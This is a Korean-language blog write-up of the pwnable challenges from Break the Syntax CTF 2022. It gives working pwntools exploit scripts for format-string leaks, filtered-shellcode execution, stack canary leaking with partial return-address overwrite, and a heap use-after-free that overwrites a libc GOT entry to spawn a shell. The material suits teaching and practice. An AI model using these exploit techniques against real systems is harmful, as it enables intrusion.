Sechack

Break the Syntax CTF 2022 - Pwnable Write up 본문

CTF

Break the Syntax CTF 2022 - Pwnable Write up

Sechack 2022. 6. 5. 22:35
반응형

이번에도 포너블 올클 했다. 레이팅 23.36인데 포너블은 그렇게 어렵진 않았다.

 

 

13등 GG

 

 

올클 GG

 

 

같이 참여했던 분들 수고하셨습니다.

access

 

이건 자고 일어나니까 같은 팀 형이 풀어놓은 문제다.

 

https://www.facebook.com/profile.php?id=100009136532072

 

로그인 또는 가입하여 보기

Facebook에서 게시물, 사진 등을 확인하세요.

www.facebook.com

 

본인이 페북 링크 올리라해서 올린다.

 

 

pass.txt읽어서 스택에 저장한다. 아마 저게 플래그 같다. 그리고 fsb터지니까 그냥 스택에 있는 플래그 읽어오면 된다.

 

 

flag : BtSCTF{@Fin3@cc3$$}

 

 

shellcode

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+Fh] [rbp-C1h]
  int i; // [rsp+10h] [rbp-C0h]
  int fd; // [rsp+14h] [rbp-BCh]
  void *s; // [rsp+18h] [rbp-B8h]
  void *buf; // [rsp+20h] [rbp-B0h]
  ssize_t v9; // [rsp+28h] [rbp-A8h]
  struct stat stat_buf; // [rsp+30h] [rbp-A0h] BYREF
  unsigned __int64 v11; // [rsp+C8h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  alarm(0xFu);
  fd = open("./flag.txt", 0);
  if ( (unsigned int)fstat(fd, &stat_buf) == -1 )
  {
    puts("flag read error");
    exit(1);
  }
  s = malloc(stat_buf.st_size + 1);
  if ( !s )
  {
    puts("flag read error");
    exit(1);
  }
  memset(s, 0, stat_buf.st_size + 1);
  if ( read(fd, s, stat_buf.st_size) == -1 )
  {
    puts("flag read error");
    exit(1);
  }
  close(fd);
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  if ( buf == (void *)-1LL )
  {
    puts("mmap fail");
    exit(1);
  }
  puts("Waiting for shellcode...");
  v9 = read(0, buf, 0x1000uLL);
  if ( v9 == -1 )
  {
    puts("read fail");
    exit(1);
  }
  v4 = 0;
  puts("Overwriting forbidden instructions(sysenter, int 0x80, syscall) ...");
  for ( i = 0; i < v9 - 1; ++i )
  {
    if ( *((_BYTE *)buf + i) == 15 && (*((_BYTE *)buf + i + 1) == 52 || *((_BYTE *)buf + i + 1) == 5) )
    {
      *((_BYTE *)buf + i) = -112;
      *((_BYTE *)buf + i + 1) = -112;
      v4 = 1;
    }
    if ( *((_BYTE *)buf + i) == 0xCD && *((_BYTE *)buf + i + 1) == 0x80 )
    {
      *((_BYTE *)buf + i) = -112;
      *((_BYTE *)buf + i + 1) = -112;
      v4 = 1;
    }
  }
  if ( v4 )
    puts("Your shellcode has been modified :P");
  if ( mprotect(buf, 0x1000uLL, 5) == -1 )
  {
    puts("mprotect fail");
    exit(1);
  }
  ((void (*)(void))buf)();
  free(s);
  return 0;
}

 

 

보면 힙에다가 플래그 넣어주고 그냥 우리가 입력한 쉘코드 실행시켜준다. 문제는 syscall이 필터링 되어있다는건데 그냥 스택에 있는 플래그 들어간 힙주소 긁어와서 rdi에 넣어주고 스택에 들어간 return address를 가져와서 offset연산 해서 puts plt주소로 만들어준 다음에 jmp뛰어서 플래그 출력해줬다.

 

from pwn import *

context.arch = "amd64"

#r = process("chall")
r = remote("34.107.92.149", 2440)

shellcode = asm("""
mov rax, 1
mov rdi, [rsp+0x20]
mov r15, [rsp]
sub r15, 0x535
jmp r15
""")

r.sendlineafter("Waiting for shellcode...", shellcode)

r.interactive()

 

 

flag : BtSCTF{C0D3_r3U5E_4TT4cK5_Ar3_FUN}

 

 

rock-paper-scissors

 

 

init함수 호출하고 start_game함수 호출한다.

 

 

init함수에서 srand로 rand함수의 시드값을 현재 시간값으로 설정해준다.

 

 

그리고 여기서 가위바위보를 할 수 있는데 rand결과값에 모듈러 연산을 해서 함수포인터를 부른다.

 

win, lose, draw 이렇게 3개의 함수가 있는데 다른거 볼필요 없이 win함수만 보면

 

 

이겼다 하고 카나리 값 준다. if문이 있긴 한데 어차피 전부 카나리 값 주는 곳으로 점프뛰는 구조여서 딱히 신경 안써도 된다. 따라서 이길때까지 가위바위보를 하면 카나리를 얻을 수 있다.

 

 

카나리 얻었으면 다시 돌아와서 read함수에서 터지는 bof로 return address덮으면 된다. 문제는 PIE인데

 

 

어차피 플래그 주는 함수 있으니까 주소 부분적으로 덮으면 된다. 기존 return address를 부분덮기 했을때 알 수 없는 부분이 0.5byte니까 0.5byte brute force하면 된다.

 

from pwn import *

flag = b""

while not flag:
    #r = process("./chall1")
    r = remote("34.107.92.149", 2441)
    canary = 0
    while not canary:
        r.sendlineafter("(s)?\n", "r")
        r.recvline()
        if b"win" in r.recvline():
            canary = int(r.recvline().strip()[-18:], 16)
            print("[+] canary : "+hex(canary))
            r.sendafter("(yes/no)\n", b"no"+b"a"*0x16+p64(canary)+b"a"*8+b"\xaa\x77")
            try:
                flag = r.recvline()
                if(b"{" in flag):
                    print(flag)
            except:
                r.close()
        else:
            r.sendlineafter("(yes/no)\n", "yes")

r.interactive()

 

 

flag : BtSCTF{R0cK_P4p3R_Sc1S50r5_L1z4Rd_Sp0Ck}

 

 

Babyheap

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rbx
  __int64 v5; // rdx
  unsigned int v6; // eax
  void *v7; // rax
  __int64 v8; // rax
  size_t v9; // rbx
  void **v10; // rax
  _QWORD *v11; // rax
  const char **v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  unsigned int v16; // [rsp+4h] [rbp-14Ch] BYREF
  unsigned int v17; // [rsp+8h] [rbp-148h] BYREF
  int v18; // [rsp+Ch] [rbp-144h]
  char v19[32]; // [rsp+10h] [rbp-140h] BYREF
  char v20[264]; // [rsp+30h] [rbp-120h] BYREF
  unsigned __int64 v21; // [rsp+138h] [rbp-18h]

  v21 = __readfsqword(0x28u);
  alarm(0x3Cu);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v19);
  v16 = 0;
  v17 = 0;
  memset(v20, 0, 0x100uLL);
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Hello World!");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            my_cin<std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>>(
              "Options:\n- add\n- remove\n- read\n- send\n- quit\n",
              v19);
            if ( !(unsigned __int8)std::operator==<char>(v19, "add") )
              break;
            my_cin<unsigned int>("Index: ", &v16);
            my_cin<unsigned int>("Size: ", &v17);
            v4 = std::array<String,16ul>::at(v20, v16);
            v5 = operator new[](v17);
            v6 = v17;
            *(_QWORD *)v4 = v5;
            *(_DWORD *)(v4 + 8) = v6;
          }
          if ( !(unsigned __int8)std::operator==<char>(v19, "remove") )
            break;
          my_cin<unsigned int>("Index: ", &v16);
          v7 = *(void **)std::array<String,16ul>::at(v20, v16);
          if ( v7 )
            operator delete[](v7);
        }
        if ( !(unsigned __int8)std::operator==<char>(v19, "send") )
          break;
        my_cin<unsigned int>("Index: ", &v16);
        v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Send message: ");
        std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
        v9 = (unsigned int)(*(_DWORD *)(std::array<String,16ul>::at(v20, v16) + 8) - 1);
        v10 = (void **)std::array<String,16ul>::at(v20, v16);
        v18 = read(0, *v10, v9);
        v11 = (_QWORD *)std::array<String,16ul>::at(v20, v16);
        *(_BYTE *)(v18 + 1LL + *v11) = 0;
      }
      if ( !(unsigned __int8)std::operator==<char>(v19, "read") )
        break;
      my_cin<unsigned int>("Index: ", &v16);
      v12 = (const char **)std::array<String,16ul>::at(v20, v16);
      puts(*v12);
    }
    if ( (unsigned __int8)std::operator==<char>(v19, "quit") )
      break;
    v14 = std::operator<<<std::char_traits<char>>(&std::cout, "Try again");
    std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
  }
  v13 = std::operator<<<std::char_traits<char>>(&std::cout, "Goodbye World!");
  std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v19);
  return 0;
}

 

 

마지막 문제라 그런지 어렵게 하려고 C++로 만든것 같다, 근데 C++이어도 쫄거 없다. malloc, free말고 C++에서의 new, delete를 사용하는데 기존 malloc, free랑 크게 다른건 없다.

 

          if ( !(unsigned __int8)std::operator==<char>(v19, "remove") )
            break;
          my_cin<unsigned int>("Index: ", &v16);
          v7 = *(void **)std::array<String,16ul>::at(v20, v16);
          if ( v7 )
            operator delete[](v7);

 

취약점은 간단하다. 이부분에서 delete해줄때 array에 있는 주소는 안지워주기 때문에 UAF가 가능하다. ezpz heap exploit하면 된다.

 

from pwn import *

#r = process(["./chall2"], env={"LD_PRELOAD":"./libc.so.6"})
r = remote("34.107.92.149", 2442)
libc = ELF("./libc.so.6")

def add(idx, size):
    r.sendlineafter("- quit\n", "add")
    r.sendlineafter("Index: ", str(idx))
    r.sendlineafter("Size: ", str(size))

def remove(idx):
    r.sendlineafter("- quit\n", "remove")
    r.sendlineafter("Index: ", str(idx))

def read(idx):
    r.sendlineafter("- quit\n", "read")
    r.sendlineafter("Index: ", str(idx))

def send(idx, data):
    r.sendlineafter("- quit\n", "send")
    r.sendlineafter("Index: ", str(idx))
    r.sendlineafter("message: ", data)

add(0, 0x500)
add(1, 0x10)
remove(0)
read(0)

libc_leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = libc_leak - 0x1ecbe0
libc_strlen_got = libc_base + 0x1ec0a8
system = libc_base + libc.sym["system"]
print("[+] libc base : "+hex(libc_base))
print("[+] overwrite target addr : "+hex(libc_strlen_got))
print("[+] system addr : "+hex(system))

add(2, 0x10)
remove(1)
remove(2)
send(2, p64(libc_strlen_got))
add(3, 0x10)
send(3, b"/bin/sh\x00")
add(4, 0x10)
send(4, p64(system))
read(3)

r.interactive()

 

puts초반 루틴에 libc got참조해서 strlen부르는 루틴이 있는데 libc got overwrite해서 strlen대신 system부르도록 해줬다.

 

 

flag : BtSCTF{H3aPP1Ty_H0pp1tY_Fl4G_I5_N0w_mY_Pr0P3r7Y}

 

 

레이팅 20이 넘는 CTF치곤 포너블은 너무 쉽게 나온것 같다. CTF더 뛸수도 있었는데 포너블 올클하고 재미있는 리버싱 문제인 rev-login풀러갔다. (사실 GTA5를 더 많이 했다.) 진짜 개꿀잼이다. 리버싱 공부하시는 분들은 한번 풀어보시는걸 추천한다.

 

https://dreamhack.io/wargame/challenges/50

 

rev-login

rev-login 이 문제는 사용자에게 아이디와 패스워드를 입력받아 로그인에 성공하면 플래그를 출력하는 프로그램이 주어집니다. 해당 바이너리를 분석하여 플래그를 획득하세요!

dreamhack.io

반응형
Comments